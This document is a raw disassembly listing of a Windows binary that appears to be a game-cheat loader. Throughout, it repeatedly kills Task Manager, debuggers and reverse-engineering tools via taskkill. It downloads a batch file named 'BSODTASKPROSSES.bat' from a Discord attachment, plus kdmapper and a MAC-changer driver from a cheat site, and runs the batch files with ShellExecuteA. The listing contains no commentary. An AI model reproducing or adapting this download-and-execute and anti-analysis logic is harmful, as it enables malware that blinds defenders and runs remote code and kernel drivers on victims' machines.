lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xaa70]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xaa50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xaa50]
call fcn.14005d8d0
mov qword [rsp + 0x11f0], rax
lea rcx, [rsp + 0xaa70]
call fcn.14005d8d0
mov qword [rsp + 0x11f8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x11f0]
mov rdx, qword [rsp + 0x11f8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_macchangerdriver.sys
lea rcx, [rsp + 0xaa30]
call fcn.14005d9d0
nop
lea rdx, [0x140392930]
lea rcx, [rsp + 0xaa10]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_kdmapper.exe
lea rcx, [rsp + 0xa9f0]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xa710]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_MACCHANGERdriverinstaller.bat
lea rcx, [rsp + 0xa6f0]
call fcn.14005d9d0
nop
lea rdx, [0x140392970]
lea rcx, [rsp + 0xa6d0]
call fcn.14005d9d0
lea rcx, [rsp + 0xaa10]
call fcn.14005d8d0
mov qword [rsp + 0x1200], rax
lea rcx, [rsp + 0xaa30]
call fcn.14005d8d0
mov qword [rsp + 0x1208], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1200]
mov rdx, qword [rsp + 0x1208]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xa710]
call fcn.14005d8d0
mov qword [rsp + 0x1210], rax
lea rcx, [rsp + 0xa9f0]
call fcn.14005d8d0
mov qword [rsp + 0x1218], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1210]
mov rdx, qword [rsp + 0x1218]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xa6d0]
call fcn.14005d8d0
mov qword [rsp + 0x1220], rax
lea rcx, [rsp + 0xa6f0]
call fcn.14005d8d0
mov qword [rsp + 0x1228], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1220]
mov rdx, qword [rsp + 0x1228]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140392970]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
